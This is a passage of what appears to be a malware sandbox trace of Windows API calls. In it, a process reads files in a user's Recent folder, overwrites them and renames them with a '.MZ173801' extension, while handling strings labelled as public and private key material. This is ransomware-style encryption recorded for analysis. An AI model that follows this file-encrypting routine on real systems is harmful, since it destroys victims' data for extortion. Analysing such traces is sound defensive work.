lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0153.087] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0153.087] GetCurrentThreadId () returned 0xab4 [0153.087] GetCurrentThreadId () returned 0xab4 [0153.087] GetCurrentThreadId () returned 0xab4 [0153.087] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\z 7ggJ8.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\z 7ggj8.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0153.087] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0153.087] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0153.087] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x40f [0153.088] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0153.088] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x40f, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x40f, lpOverlapped=0x0) returned 1 [0153.089] CloseHandle (hObject=0x280) returned 1 [0153.089] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\z 7ggJ8.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\z 7ggj8.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0153.090] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x40f, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x40f, lpOverlapped=0x0) returned 1 [0153.091] CloseHandle (hObject=0x280) returned 1 [0153.092] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\z 7ggJ8.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\z 7ggj8.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\z 7ggJ8.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\z 7ggj8.lnk.mz173801")) returned 1 [0153.092] GetCurrentThreadId () returned 0xab4 [0153.092] GetCurrentThreadId () returned 0xab4 [0153.093] GetCurrentThreadId () returned 0xab4 [0153.093] GetCurrentThreadId () returned 0xab4 [0153.093] GetCurrentThreadId () returned 0xab4 [0153.093] GetCurrentThreadId () returned 0xab4 [0153.093] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3fde3b1, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0x826f6a44, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x8271cce6, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x453, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="zkcrT -8SHIvOP_POgOU.lnk", cAlternateFileName="ZKCRT-~1.LNK")) returned 1 [0153.093] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.093] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.093] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\zkcrT -8SHIvOP_POgOU.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\zkcrt -8shivop_pogou.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3fde3b1, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0x826f6a44, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x8271cce6, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x453)) returned 1 [0153.093] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\zkcrT -8SHIvOP_POgOU.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\zkcrt -8shivop_pogou.lnk")) returned 0x20 [0153.093] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\zkcrT -8SHIvOP_POgOU.lnk", dwFileAttributes=0x80) returned 1 [0153.095] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0153.095] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0153.101] GetCurrentThreadId () returned 0xab4 [0153.101] GetCurrentThreadId () returned 0xab4 [0153.101] GetCurrentThreadId () returned 0xab4 [0153.101] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0153.101] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0153.102] GetCurrentThreadId () returned 0xab4 [0153.102] GetCurrentThreadId () returned 0xab4 [0153.102] GetCurrentThreadId () returned 0xab4 [0153.102] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\zkcrT -8SHIvOP_POgOU.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\zkcrt -8shivop_pogou.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0153.102] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0153.102] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, 